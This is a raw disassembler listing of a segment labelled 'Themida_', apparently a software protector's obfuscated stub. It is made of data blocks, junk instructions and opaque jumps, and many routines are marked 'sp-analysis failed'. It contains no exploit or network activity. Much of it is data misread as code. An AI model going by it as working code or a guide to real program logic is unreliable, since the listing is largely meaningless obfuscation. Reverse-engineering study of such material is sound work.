		dd 48C3BE66h, 13E859h, 0E9BD0000h, 2BAE847h, 29F714E4h
		dd 6E83EE37h, 0F888D2C1h, 4830FDAh, 66000000h, 5F15DCB8h
		dd 0BB66D38Ah, 34B31C3Ah, 10E9h, 175A3800h, 621C75h, 0CB344314h
		dd 487312C8h, 28C0FFBh,	8B000000h, 0C78B66FAh, 8B66FE8Bh
		dd 7E9D6h, 0EA100000h, 85781BC8h, 0DBB70F7Dh, 68EA8150h
		dd 5A13B92Bh, 1D840Fh, 0BE600000h, 5EEF6940h, 10E8h, 6421D600h
		dd 0DBAFDA73h, 9D8D4F3Fh, 779E32C9h, 0E86159B2h, 6, 3D7FEAD1h
		dd 816649EEh, 5E6676D1h, 0BE960h, 0BE960000h, 497DA17Fh
		dd 359D2101h, 0CD806121h, 80CEB3E5h, 52BE65D2h,	602BCE73h
		dd 12E9h, 0B934B900h, 0E19036DDh, 0AA3B0711h, 0A00CBAEAh
		dd 611AEE9Ch, 0C68BF28Bh, 81C1B70Fh, 0A2F7FEF0h, 0BE93Dh
		dd 0B49D0000h, 0C76D3D4Ch, 1E40349Ah, 8E867h, 0F9D0000h
		dd 5C380D63h, 6E9D4BFh,	44000000h, 0FB370CBFh, 0E68A5930h
		dd 3890Fh, 0B70F0000h, 6DC980F6h, 8E9FAB6h, 0A3000000h
		dd 29F3133Eh, 66BD643Bh, 6656C78Bh, 0BB5FD18Bh,	4D2FAE4Ch
		dd 12E952h, 99E30000h, 18636C9Eh, 2F9F3896h, 0FF405BD9h
		dd 5C193340h, 8E0F5Ah, 0F000000h, 488h,	36BB6600h, 0B870F54h
		dd 0E9000000h, 6, 6B14A879h, 8E9ED97h, 0B5000000h, 0F67D7CB9h
		dd 6646B5AEh, 52F131BFh, 0AE9h,	961D0B00h, 1824502Bh, 585BA0A1h
		dd 17C3CEBEh, 0FE9F542h, 34000000h, 0E49D3600h,	341572D9h
		dd 985804B5h, 0AE94AA7h, 91000000h, 7178274Dh, 0F084EBD5h
		dd 0E08166A5h, 0EE99482h, 4000000h, 78BEF92Ch, 6089D3CEh
		dd 5E24DE48h, 11E81Ah, 23840000h, 35DE3B9Bh, 3B319EA4h
		dd 2537662Ch, 0E82D0C3Dh, 10h, 1B200387h, 0D17C6D10h, 7DA828AFh
		dd 0F3C1F14Ah, 5AD88B66h, 11E95Ah, 75E10000h, 39C7D246h
		dd 0A7C270CDh, 0EDF91DD4h, 0F95B9BCh, 0F86h, 0AE900h, 0F71B0000h
		dd 653C7276h, 0E094657Dh, 0FF78B66h, 8C0FF3B7h,	6, 890Fh
		dd 3DB70000h, 66FCF28Bh, 840FDF8Bh, 0Ah, 5E9h, 4E81AA00h
		dd 2BBEBEABh, 8B39A99Ah, 0E38160F3h, 7C1452EBh,	5E9h, 4038A100h
		dd 816145F2h, 0CE9EB2C3h, 0FCA8A06h, 68Eh, 0BBD08100h
		dd 816AAB16h, 7380CCC1h, 1830F38h, 0F5000000h, 79824BB9h
		dd 0CB816615h, 0E0805C0Ah, 0F281F989h, 2CA1E9AFh, 8DF8166h
		dd 94BF6642h, 68B0FD2h,	81000000h, 742752DAh, 3890F0Bh
		dd 0F000000h, 8053CEB7h, 805E9AD7h, 870FDFDBh, 2, 0EB8AD48Ah
		dd 3880Fh, 0E4800000h, 0EE85Fh,	42D10000h, 0FE1E630h, 77010787h
		dd 4E3299BFh, 0AE9h, 654F0700h,	0A618536Eh, 582A8C72h
		dd 0FFABF0Fh, 382h, 0FFBF0F00h,	5A0A3CBBh, 0C2816658h
		dd 860F8EA5h, 4, 0BA9ABF66h, 13E8h, 29F31300h, 47BD643Bh
		dd 1772737Ch, 0E3B0A35Dh, 0B8172772h, 6830Fh, 8F0F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		jg	loc_617718
		mov	esi, 12FDB30Ah


loc_617718:				; CODE XREF: Themida_:0061770Dj
		jmp	loc_61772B
; ---------------------------------------------------------------------------
		call	dword ptr [ebx]
		mov	ds:21451F85h, al
		stc
		fnstcw	word ptr [ebp+7DAA246Ah]


loc_61772B:				; CODE XREF: Themida_:loc_617718j
		movzx	edx, ax
		mov	cx, ax
		jle	loc_61773A
		sub	al, 0F5h


loc_61773A:				; CODE XREF: Themida_:00617731j
		jmp	loc_61774C
; ---------------------------------------------------------------------------
		db 0E3h
		dd 0B196F32Ah, 0F8267C6Ch, 1F3CAC58h
; ---------------------------------------------------------------------------


loc_61774C:				; CODE XREF: Themida_:loc_61773Aj
		ja	loc_617768
		jmp	loc_617768
; ---------------------------------------------------------------------------
		db 86h,	0D2h
		db 7, 62h, 49h
		dd 0B6B60AB8h, 0D8200ACAh, 0F4A124B7h
; ---------------------------------------------------------------------------


loc_617768:				; CODE XREF: Themida_:loc_61774Cj
					; Themida_:00617752j
		sbb	ecx, 7D7FA227h
		jle	loc_617788
		ja	loc_617788
		jmp	loc_617788
; ---------------------------------------------------------------------------
		cmp	al, 17h
		ja	short loc_617788
		mov	eax, ds:5535E90Bh


loc_617788:				; CODE XREF: Themida_:0061776Ej
					; Themida_:00617774j ...
		movzx	esi, ax
		mov	ebx, esi
		adc	al, 15h
		sbb	cl, 95h
		jo	loc_61779E
		mov	edi, 6F6E561Eh


loc_61779E:				; CODE XREF: Themida_:00617793j
		jmp	loc_6177B5
; ---------------------------------------------------------------------------
		db 57h
		dd 2BAC35D6h, 802DC786h, 233C3078h, 1A358CD3h
		db 8Bh
; ---------------------------------------------------------------------------


loc_6177B5:				; CODE XREF: Themida_:loc_61779Ej
		mov	ch, bl
		sub	eax, 10D19C43h
		jmp	loc_6177C7
; ---------------------------------------------------------------------------
		pop	esp
		xchg	ecx, [edx+13h]
		pop	edi


loc_6177C7:				; CODE XREF: Themida_:006177BDj
		mov	dx, 98F0h
		jo	loc_6177EA
		jle	loc_6177EA
		call	near ptr sub_6177E9
; ---------------------------------------------------------------------------
		dd 14963CD5h, 0FE0E2389h, 0F3016B9Eh
		db 0B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_6177E9	proc far		; CODE XREF: Themida_:006177D7p
		pop	ecx


loc_6177EA:				; CODE XREF: Themida_:006177CBj
					; Themida_:006177D1j
		mov	bx, ax
		js	loc_617804
		jmp	loc_617804
; ---------------------------------------------------------------------------
		dd 6A111A3Bh, 0D8EF32E0h, 763BB3CCh
; ---------------------------------------------------------------------------


loc_617804:				; CODE XREF: sub_6177E9+4j
					; sub_6177E9+Aj
		mov	cx, 0DE9Bh
		mov	cl, 0D3h
		pusha
		sub	cx, 7F39h
		sbb	ebx, 74FC92B3h
		popa
		add	edi, 33113141h
		mov	edx, eax
		jmp	loc_617829
; ---------------------------------------------------------------------------
		dd 669B002Fh
		db 64h
; ---------------------------------------------------------------------------


loc_617829:				; CODE XREF: sub_6177E9+36j
		sbb	ecx, 2F934E17h
		xor	ecx, 20F26384h
		jmp	loc_61784E
; ---------------------------------------------------------------------------
		dec	ebx
		push	esp
		mov	dword ptr [ebx], 0AF10CD59h
		mov	cl, 0ABh
		sbb	edi, ds:48E8C592h
		setalc
		push	eax
		stc
		pop	edx


loc_61784E:				; CODE XREF: sub_6177E9+4Cj
		jge	loc_617864
		jmp	loc_617864
; ---------------------------------------------------------------------------
		or	ebx, esp
		push	ebp
		les	ecx, [ebp-64h]
		lds	esi, [edx]
		retn	8161h
; ---------------------------------------------------------------------------


loc_617864:				; CODE XREF: sub_6177E9:loc_61784Ej
					; sub_6177E9+6Bj
		push	ebx
		mov	esi, edx
		pop	edi
		push	ecx
		jmp	loc_61787E
; ---------------------------------------------------------------------------
		dw 0D3A6h
		dd 983BF21h, 5F940A66h,	65456B72h
		db 0ECh, 0A2h
; ---------------------------------------------------------------------------


loc_61787E:				; CODE XREF: sub_6177E9+80j
		pop	eax
		movzx	edi, si
		jo	loc_61788D
		mov	ecx, 6A79C20Bh


loc_61788D:				; CODE XREF: sub_6177E9+99j
		mov	ebx, 4ADDE618h
		jmp	loc_6178A3
; ---------------------------------------------------------------------------
		align 4
		fadd	dword ptr [edi+5A7E10F6h]
		sbb	eax, 3C70C6Fh


loc_6178A3:				; CODE XREF: sub_6177E9+A9j
		jbe	$+6
		pusha
		mov	ecx, 48D4FD00h
		cld
		popa
		push	ebx
		add	bh, 0AAh
		pop	ebx
		mov	cx, 0DE91h
		jle	loc_6178D8
		jmp	loc_6178D8
; ---------------------------------------------------------------------------
		db 0BFh, 0C6h, 8Bh
		dd 444AAE85h, 2AEA3A5Eh, 0A26063B4h, 76F0DF04h
; ---------------------------------------------------------------------------


loc_6178D8:				; CODE XREF: sub_6177E9+D1j
					; sub_6177E9+D7j
		stc
		cld
		movzx	ebx, bx
		or	dx, 53BDh
		mov	si, di
		push	ebx
		mov	edx, 4423086h
		pop	edi
		jmp	loc_6178FE
; ---------------------------------------------------------------------------
		db 62h,	4, 1Fh
; ---------------------------------------------------------------------------
		retf	6C29h
; ---------------------------------------------------------------------------
		push	esp
		div	byte ptr [edi]
		mov	ch, 25h
		xor	ebp, esp


loc_6178FE:				; CODE XREF: sub_6177E9+103j
		movsx	edi, ax
		jz	loc_617910
		jge	loc_617910
		add	dh, 9Eh


loc_617910:				; CODE XREF: sub_6177E9+118j
					; sub_6177E9+11Ej
		call	sub_617920
sub_6177E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 95h,	0A1h, 3Bh
; ---------------------------------------------------------------------------
		mov	esp, 4A6DFECFh
		rcl	dword ptr [esi], 0B1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_617920	proc near		; CODE XREF: sub_6177E9:loc_617910p
		jmp	sub_617939
sub_617920	endp

; ---------------------------------------------------------------------------
		db 51h,	7Eh, 0A9h
		dd 0A47BC129h, 316BAE54h, 3865897Eh, 690E5444h
		db 0A0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_617939	proc near		; CODE XREF: sub_617920j
		pop	esi
		mov	dl, 7Bh
		jmp	loc_617952
; ---------------------------------------------------------------------------
		db 91h,	96h, 57h
		dd 0B9399B49h, 3CDCFD68h, 0FC1B7C2Fh
		db 36h,	0B1h
; ---------------------------------------------------------------------------


loc_617952:				; CODE XREF: sub_617939+3j
		mov	si, dx
		jmp	loc_617960
; ---------------------------------------------------------------------------
		add	eax, 1183871Bh
		xchg	eax, ecx


loc_617960:				; CODE XREF: sub_617939+1Cj
		mov	ecx, 5B5C0DB2h
		jmp	loc_617971
; ---------------------------------------------------------------------------
		dw 6161h
		dd 12D040E6h
		db 2Bh
; ---------------------------------------------------------------------------


loc_617971:				; CODE XREF: sub_617939+2Cj
		push	esi
		mov	cl, 0BEh
		pop	edi
		mov	edi, 5D66A5Eh
		and	edx, 2B7D068Ch
		mov	cx, 713Ch
		mov	eax, 3FB45582h
		movzx	ecx, si
		jmp	loc_61799D
; ---------------------------------------------------------------------------
		db 0EDh, 4Ah, 41h
; ---------------------------------------------------------------------------
		inc	ebp
		adc	eax, [eax-33260912h]
		inc	edx
		popf


loc_61799D:				; CODE XREF: sub_617939+53j
		mov	bx, 5AE2h
		pusha
		jmp	loc_6179B4
; ---------------------------------------------------------------------------
		db 74h
		dd 0E7D5C551h, 0DD975B86h, 0DC119474h
; ---------------------------------------------------------------------------


loc_6179B4:				; CODE XREF: sub_617939+69j
		xor	bh, 14h
		popa
		mov	ax, cx
		mov	si, 0D396h
		jns	loc_6179D3
		jmp	loc_6179D3
; ---------------------------------------------------------------------------
		dw 0C0h
		db 0C2h	; Â
		db  97h	; —
		db 0FAh	; ú
		db 8Fh
; ---------------------------------------------------------------------------
		mov	bh, 0D5h
		xchg	eax, ecx


loc_6179D3:				; CODE XREF: sub_617939+86j
					; sub_617939+8Cj
		jmp	loc_6179E0
; ---------------------------------------------------------------------------
		dd 0CDC2A6E8h, 234F350Bh
; ---------------------------------------------------------------------------


loc_6179E0:				; CODE XREF: sub_617939:loc_6179D3j
		mov	si, 0F6Eh
		jbe	loc_6179EC
		mov	eax, ecx


loc_6179EC:				; CODE XREF: sub_617939+ABj
		pusha
		jmp	loc_6179F9
; ---------------------------------------------------------------------------
		dw 7F2Ch
		dd 5F68FBCFh
		db 0E6h
; ---------------------------------------------------------------------------


loc_6179F9:				; CODE XREF: sub_617939+B4j
		popa
		xor	esi, 65794BE5h
		pusha
		jge	loc_617A18
		call	near ptr sub_617A17
sub_617939	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 246FA537h, 2D8E32D9h
; ---------------------------------------------------------------------------
		rcl	dword ptr [edi], 0A2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_617A17	proc far		; CODE XREF: sub_617939+CEp
		pop	ebx


loc_617A18:				; CODE XREF: sub_617939+C8j
		jmp	loc_617A2F
; ---------------------------------------------------------------------------
		db 0B2h, 0E8h, 7Fh
		dd 2A939ABh, 0B83CF731h, 7CEF1687h
		db 5Bh,	0C5h, 47h
; ---------------------------------------------------------------------------


loc_617A2F:				; CODE XREF: sub_617A17:loc_617A18j
		popa
		jmp	loc_617A42
; ---------------------------------------------------------------------------
		test	eax, 7E8C66B3h
		mov	esi, 1B13C697h
		lds	eax, [edi]
		scasd


loc_617A42:				; CODE XREF: sub_617A17+19j
		cmc
		movsx	eax, bx
		sbb	esi, 6B108CF4h
		sub	ecx, 6C97A8CFh
		movsx	ecx, cx
		sub	si, 9E02h
		push	ecx
		xor	di, 6CF9h
		pop	ebx
		jmp	loc_617A6D
; ---------------------------------------------------------------------------
		adc	edx, 62h
		db	26h
		sub	esi, ss:[eax]


loc_617A6D:				; CODE XREF: sub_617A17+4Aj
		push	edi
		mov	bx, cx
		pop	ecx
		call	sub_617A81
sub_617A17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retf	3E77h
; ---------------------------------------------------------------------------
		dw 841Fh
		dd 87A39A34h
		db 0DBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_617A81	proc near		; CODE XREF: sub_617A17+5Bp
		pop	ebx
		call	sub_617A95
		jmp	near ptr 0E07027B7h
sub_617A81	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 28362576h, 0E5F9E599h
		db 19h

; =============== S U B	R O U T	I N E =======================================



sub_617A95	proc near		; CODE XREF: sub_617A81+1p
		jb	loc_617A9E
		xor	bl, 7Eh


loc_617A9E:				; CODE XREF: sub_617A95j
		pop	eax
		call	near ptr loc_617AA9+1
		aaa
		db	66h
		sbb	[ebx-68h], al


loc_617AA9:				; CODE XREF: sub_617A95+Ap
		test	al, 0B1h
sub_617A95	endp ; sp-analysis failed

		loop	loc_617B0C
		and	ah, 4Dh
		jmp	loc_617ABB
; ---------------------------------------------------------------------------
		db 87h,	49h, 0EBh
		db 0B8h, 4Ch, 41h
; ---------------------------------------------------------------------------


loc_617ABB:				; CODE XREF: Themida_:00617AB0j
		mov	esi, ebx
		sbb	ecx, 1E0B39E5h
		ja	loc_617ACC
		mov	di, dx


loc_617ACC:				; CODE XREF: Themida_:00617AC3j
		mov	bh, dl
		push	ecx
		and	edx, 615D2C34h
		pop	eax
		mov	bx, di
		call	sub_617AE9
		cmp	dh, dl
		out	0EDh, eax
		jmp	far ptr	0CA60h:3BB5D503h

; =============== S U B	R O U T	I N E =======================================



sub_617AE9	proc near		; CODE XREF: Themida_:00617AD9p
		mov	bx, 0D8DCh
		pop	edx
		add	dx, 0FDEDh
		mov	eax, 59268DE2h
		ja	loc_617B03
		or	dx, 22F7h


loc_617B03:				; CODE XREF: sub_617AE9+Fj
		jmp	loc_617B17
; ---------------------------------------------------------------------------
		dd 5B76BE4Fh
; ---------------------------------------------------------------------------


loc_617B0C:				; CODE XREF: Themida_:00617AABj
		out	0FCh, eax	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		retn	0F4BBh
; ---------------------------------------------------------------------------
		db 35h,	0F2h, 28h
		db 75h,	0B7h, 0BBh
; ---------------------------------------------------------------------------


loc_617B17:				; CODE XREF: sub_617AE9:loc_617B03j
		jmp	loc_617B29
; ---------------------------------------------------------------------------
		dd 74119C59h, 0DE5775C8h, 0E001A639h
		db 63h
; ---------------------------------------------------------------------------


loc_617B29:				; CODE XREF: sub_617AE9:loc_617B17j
		jmp	loc_617B42
; ---------------------------------------------------------------------------
		dw 98FBh
		dd 8D7CE9F0h, 881A20FCh, 48052C30h, 0AB6B584Dh
		db 25h,	29h
; ---------------------------------------------------------------------------


loc_617B42:				; CODE XREF: sub_617AE9:loc_617B29j
		jz	loc_617B4A
		mov	ebx, ecx


loc_617B4A:				; CODE XREF: sub_617AE9:loc_617B42j
		movzx	ecx, dx
		xor	di, 0F56h
		sbb	bx, 0A21Ch
		cld
		sub	ecx, 3AE2FADDh
		mov	edx, eax
		jno	loc_617B68
		mov	ecx, edx


loc_617B68:				; CODE XREF: sub_617AE9+77j
		sub	si, 4355h
		adc	dx, 1CE3h
		jl	loc_617B88
		jmp	loc_617B88
; ---------------------------------------------------------------------------
		db 1Fh,	0BCh, 0F3h
		dd 0B368BF00h, 0AA03B177h
; ---------------------------------------------------------------------------


loc_617B88:				; CODE XREF: sub_617AE9+89j
					; sub_617AE9+8Fj
		call	near ptr loc_617B9A+1
		xlat
		and	[edi], ch
		nop
		add	byte ptr [ebp+2Ch], 48h
		push	1
		cld
		aam	0D0h


loc_617B9A:				; CODE XREF: sub_617AE9:loc_617B88p
		mov	cl, 12h
sub_617AE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 9D0C0DEFh, 0E1BEC0F2h, 7654ECF7h, 6036D61h, 0E8593E39h
		dd 11h,	8683067Dh, 3A2CEFh, 209425FCh, 0C9E5A942h, 0D0815EEAh
		dd 230BB39Fh, 68A0Fh, 0CE810000h, 2D793EB3h, 11E9h, 0CC882600h
		dd 0C89E1DC3h, 0EF76AACFh, 738FF6DCh, 800F2597h, 0Ch, 8A0F60h
		dd 66000000h, 616817BEh, 0E5B13CB0h, 0AEB8150h,	5B5F73ADh
		dd 0BDE2D781h, 0AE92450h, 70000000h, 0D445B81Ah, 2B10C97Bh
		dd 18860F3Ah, 0E8000000h, 10h, 0C1FDB7A7h, 0D7BEBEC7h
		dd 3D4D77EFh, 0DBADE6A4h, 0FC59D68Bh, 0EC4BC081h, 12E82DCDh
		dd 9C000000h, 4DC6A985h, 337E1B96h, 9AB39DFFh, 0C5A0ABC8h
		dd 0FE9FEh, 0A0000h, 0CC74F52Ch, 7521E98Fh, 32577986h
		dd 5E8594Ch, 0FD000000h, 39316CB4h, 6840Fh, 8E0F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		jns	loc_617C96
		add	dl, 9Ch


loc_617C96:				; CODE XREF: Themida_:00617C8Dj
		adc	si, 8A6Fh
		push	ebx
		call	sub_617CA7
		shr	byte ptr [eax+1D149AA7h], cl

; =============== S U B	R O U T	I N E =======================================



sub_617CA7	proc near		; CODE XREF: Themida_:00617C9Cp
		js	$+6
		pop	ebx
		pop	edi
		add	cx, 728Ch
		and	bl, 0D3h
		mov	dx, 8DD3h
		stc
		jnz	loc_617CC4
		mov	bl, 0E3h


loc_617CC4:				; CODE XREF: sub_617CA7+15j
		mov	di, 0C149h
		stc
		jmp	loc_617CD4
; ---------------------------------------------------------------------------
		dw 2F58h
		dd 18422978h
; ---------------------------------------------------------------------------


loc_617CD4:				; CODE XREF: sub_617CA7+22j
		mov	esi, 6AD2EB24h
		mov	ecx, 0F4197DAh
		mov	edx, eax
		and	eax, 532FC954h
		jmp	loc_617CFA
; ---------------------------------------------------------------------------
		db 30h
		dd 0BEC4B06Eh, 32512B1Dh, 27EF4776h
		db 4Ah,	0B3h
; ---------------------------------------------------------------------------


loc_617CFA:				; CODE XREF: sub_617CA7+3Fj
		mov	ecx, edx
		jmp	loc_617D08
; ---------------------------------------------------------------------------
		db 4Bh,	79h, 22h
		dd 2AAEA514h
; ---------------------------------------------------------------------------


loc_617D08:				; CODE XREF: sub_617CA7+55j
		call	sub_617D15
		pop	es
		lea	esp, [ebp-5Ch]
		push	cs
		cmp	[esi+7Ch], esi
sub_617CA7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_617D15	proc near		; CODE XREF: sub_617CA7:loc_617D08p

; FUNCTION CHUNK AT 00617D62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00617D7B SIZE 00000012 BYTES

		mov	cl, 0A0h
		pop	edi
		mov	al, 86h
		mov	esi, 12167726h
		push	esi
		push	ecx
		movzx	ecx, si
		pop	esi
		pop	ecx
		adc	edx, 42C503FCh
		jnb	loc_617D37
		sbb	ax, 0C11Ch


loc_617D37:				; CODE XREF: sub_617D15+17j
		jmp	loc_617D49
; ---------------------------------------------------------------------------
		dd 4551F4B7h, 1698F1E3h, 720E4F6Ah
; ---------------------------------------------------------------------------
		movsb


loc_617D49:				; CODE XREF: sub_617D15:loc_617D37j
		mov	eax, ecx
		js	loc_617D62
		call	near ptr loc_617D5A+1
		and	[esi], ebp
		jg	short near ptr loc_617DA9+2


loc_617D5A:				; CODE XREF: sub_617D15+3Cp
		db	3Eh
		jno	$+7
sub_617D15	endp ; sp-analysis failed

		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_617D15


loc_617D62:				; CODE XREF: sub_617D15+36j
		jmp	loc_617D7B
; END OF FUNCTION CHUNK	FOR sub_617D15
; ---------------------------------------------------------------------------
		db 82h
		dd 60BCBED5h, 0A78ECC45h, 386E4890h, 0FF3D9687h
; ---------------------------------------------------------------------------
		cmpsd
		retf
; ---------------------------------------------------------------------------
		std
; START	OF FUNCTION CHUNK FOR sub_617D15


loc_617D7B:				; CODE XREF: sub_617D15:loc_617D62j
		or	si, 0C33Dh
		call	sub_617D8D
		in	al, dx
		add	byte ptr [ecx-51AE70BCh], 1Eh
; END OF FUNCTION CHUNK	FOR sub_617D15

; =============== S U B	R O U T	I N E =======================================



sub_617D8D	proc near		; CODE XREF: sub_617D15+6Bp
		mov	cl, al
		pop	ebx
		call	near ptr loc_617D95+5


loc_617D95:				; CODE XREF: sub_617D8D+3p
		call	far ptr	0BB58h:0C302887h
sub_617D8D	endp ; sp-analysis failed

		sbb	eax, 0E9762CD5h
		or	eax, 0E9000000h
		xchg	eax, esp
		mov	ah, 25h


loc_617DA9:				; CODE XREF: sub_617D15+43j
		fadd	qword ptr [eax+edi*8+56h]
		icebp
		xor	eax, 66E08F6Dh
		mov	edi, ebx
		ja	loc_617DCF
		call	near ptr loc_617DC9+1
		xor	al, 85h
		icebp
		or	ah, [ebp+1C7EFA84h]


loc_617DC9:				; CODE XREF: Themida_:00617DBBp
					; sub_617DE8+51j
		cmp	eax, 9680BF66h
		pop	ebx


loc_617DCF:				; CODE XREF: Themida_:00617DB5j
		js	loc_617DDC
		jp	loc_617DDC
		clc


loc_617DDC:				; CODE XREF: Themida_:loc_617DCFj
					; Themida_:00617DD5j
		mov	ecx, ebx
		call	sub_617DE8
		lds	edi, [esi]
		pop	ebp
		add	al, 40h

; =============== S U B	R O U T	I N E =======================================



sub_617DE8	proc near		; CODE XREF: Themida_:00617DDEp
		mov	eax, 4E85243Bh
		pop	ebx
		xor	eax, 4D5FF3E5h
		mov	ecx, 14A2B267h
		jmp	loc_617E08
; ---------------------------------------------------------------------------
		dw 0D344h
		dd 0A9BA09DFh
; ---------------------------------------------------------------------------
		dec	ebp
		scasd


loc_617E06:				; CODE XREF: sub_617DE8+5Cj
		xchg	eax, esp
; ---------------------------------------------------------------------------
		db 0E2h
; ---------------------------------------------------------------------------


loc_617E08:				; CODE XREF: sub_617DE8+11j
		cld
		jmp	loc_617E1F
; ---------------------------------------------------------------------------
		dw 0A6A5h
		dd 1BF72625h, 0E7BF25E9h, 0BDF70890h
		db 68h,	0C1h, 84h
; ---------------------------------------------------------------------------


loc_617E1F:				; CODE XREF: sub_617DE8+21j
		jmp	loc_617E2F
; ---------------------------------------------------------------------------
		dd 0F6E873B2h, 0DB42AA63h
		db 0, 97h, 28h
; ---------------------------------------------------------------------------


loc_617E2F:				; CODE XREF: sub_617DE8:loc_617E1Fj
		call	near ptr loc_617E46+1
		or	[ebp-25h], dl
		dec	ebp
		pop	ecx
		jg	short near ptr loc_617DC9+4
		pop	ds
		mov	[edi-7F95CE41h], bl
		lahf
		daa
		jp	short loc_617E06


loc_617E46:				; CODE XREF: sub_617DE8:loc_617E2Fp
		test	byte ptr [edx-1703A61Fh], 7
sub_617DE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		and	[eax], dl
		js	short near ptr loc_617E71+3
		inc	esi
		xchg	eax, edi
		push	ds
		sbb	ebx, 7518FBEDh
		pop	ecx
		movzx	edx, ax
		mov	dx, si
		movsx	eax, dx
		jmp	loc_617E71
; ---------------------------------------------------------------------------
		dd 0F1F6B64Ah
		db 0D5h
; ---------------------------------------------------------------------------


loc_617E71:				; CODE XREF: Themida_:00617E67j
					; Themida_:00617E52j
		jno	loc_617E92
		pusha
		mov	si, ax
		jmp	loc_617E91
; ---------------------------------------------------------------------------
		dd 37FF4D79h, 0FE1A8674h, 7AB4E3F2h, 0A312185Fh
		db 7Fh
; ---------------------------------------------------------------------------


loc_617E91:				; CODE XREF: Themida_:00617E7Bj
		popa


loc_617E92:				; CODE XREF: Themida_:loc_617E71j
		mov	ebx, 348F0FFBh
		jl	loc_617EA6
		jp	loc_617EA6
		or	dh, 0E7h


loc_617EA6:				; CODE XREF: Themida_:00617E97j
					; Themida_:00617E9Dj
		push	esi
		js	near ptr loc_617EC0+4
		call	near ptr loc_617EC0+3 ;	CODE XREF: Themida_:00617F22j
		sbb	al, 6Bh
		inc	dword ptr [ebp-1C650B56h]
		pushf
		adc	dword ptr [edi+edi*8+34h], 0FFFFFFD7h


loc_617EC0:				; CODE XREF: Themida_:00617EADp
					; Themida_:00617EA7j
		adc	eax, 5959B2C7h
		mov	eax, ecx
		movzx	edi, bx
		mov	di, 5F43h
		stc
		clc
		mov	dx, 0B05h
		and	bx, 7DCCh
		mov	bx, 2511h
		mov	dl, cl
		mov	edi, 5006A8A6h
		xor	cl, 6Fh
		xor	di, 340Ah
		jmp	loc_617F05
; ---------------------------------------------------------------------------
		db 0B3h, 6Ch, 26h
		dd 8314C068h, 19393B0Ch, 0D476C12Ah, 1515BDD2h
		db 3Dh
; ---------------------------------------------------------------------------


loc_617F05:				; CODE XREF: Themida_:00617EECj
		jnz	$+6
		cld
		jmp	loc_617F1C
; ---------------------------------------------------------------------------
		db 0FFh, 36h, 42h
		dd 0B6A3BB6Fh, 8A615DDDh
; ---------------------------------------------------------------------------


loc_617F1C:				; CODE XREF: Themida_:00617F0Cj
		push	edx
		call	near ptr loc_617F24+4
		jb	short near ptr loc_617EAD+4


loc_617F24:				; CODE XREF: Themida_:00617F1Dp
		mov	ds:66A11B6Fh, al
		mov	ecx, 5A5BCBA0h
		movzx	edi, dx
		adc	esi, 5F6BEB80h
		pusha
		jmp	loc_617F4E
; ---------------------------------------------------------------------------
		db 1Dh,	41h, 56h
		dd 11825318h, 3ECFFC22h, 0C74B40A7h
		db 0D8h, 0B4h
; ---------------------------------------------------------------------------


loc_617F4E:				; CODE XREF: Themida_:00617F38j
		mov	edx, 0D57AD41h
		popa
		jmp	loc_617F65
; ---------------------------------------------------------------------------
		db 0A9h, 10h, 4Bh
		dd 0F8E15977h, 0F324B9CDh
		db 68h
; ---------------------------------------------------------------------------


loc_617F65:				; CODE XREF: Themida_:00617F54j
		mov	cl, ah
		mov	dl, ch
		mov	ch, al
		mov	edx, ecx
		push	esi
		mov	eax, ebx
		pop	esi
		mov	ah, bh
		call	sub_617F7F
; ---------------------------------------------------------------------------
		pop	esi
		fcom	dword ptr [ebp-15FAD96Dh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_617F7F	proc near		; CODE XREF: Themida_:00617F73p
		mov	di, 3A68h
		pop	ebx
		mov	di, 0CA82h
		add	di, 0BB92h
		push	eax
		jmp	loc_617FA2
; ---------------------------------------------------------------------------
		db 58h
		dd 804C49BEh, 4A45EE21h, 10E83DA9h
		db 70h,	0AFh
; ---------------------------------------------------------------------------


loc_617FA2:				; CODE XREF: sub_617F7F+Fj
		pop	eax
		mov	ecx, 2E4EB80Fh
		adc	edx, 4C18ADD0h
		jnp	$+6
		call	sub_617FC9
sub_617F7F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0EAh, 0B1h, 18h
		dd 28F113A4h, 3040860Ah, 82FE2A54h
; ---------------------------------------------------------------------------
		dec	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_617FC9	proc near		; CODE XREF: sub_617F7F+35p
		mov	si, dx
		pop	ebx
		jmp	loc_617FE6
; ---------------------------------------------------------------------------
		dw 46B4h
		dd 67B0C733h, 799AEA8Ah, 0F92DB6B3h, 0B95DA55Dh
; ---------------------------------------------------------------------------
		adc	al, 4Ah


loc_617FE6:				; CODE XREF: sub_617FC9+4j
		xor	si, 6D33h
		movzx	edx, cx
		jmp	loc_618004
; ---------------------------------------------------------------------------
		db 45h
		dd 0C5A4CA70h, 6C75E7CAh, 0EFD23E00h, 0B27A6978h
; ---------------------------------------------------------------------------


loc_618004:				; CODE XREF: sub_617FC9+25j
		jmp	loc_618011
; ---------------------------------------------------------------------------
		db 27h,	8Eh, 0C8h
		dd 8CF5D4DFh
		db 0B7h
; ---------------------------------------------------------------------------


loc_618011:				; CODE XREF: sub_617FC9:loc_618004j
		call	sub_618023
		hlt
sub_617FC9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0A4A2CDFh, 5A78EAA0h
		db 0D7h, 2Bh, 43h

; =============== S U B	R O U T	I N E =======================================



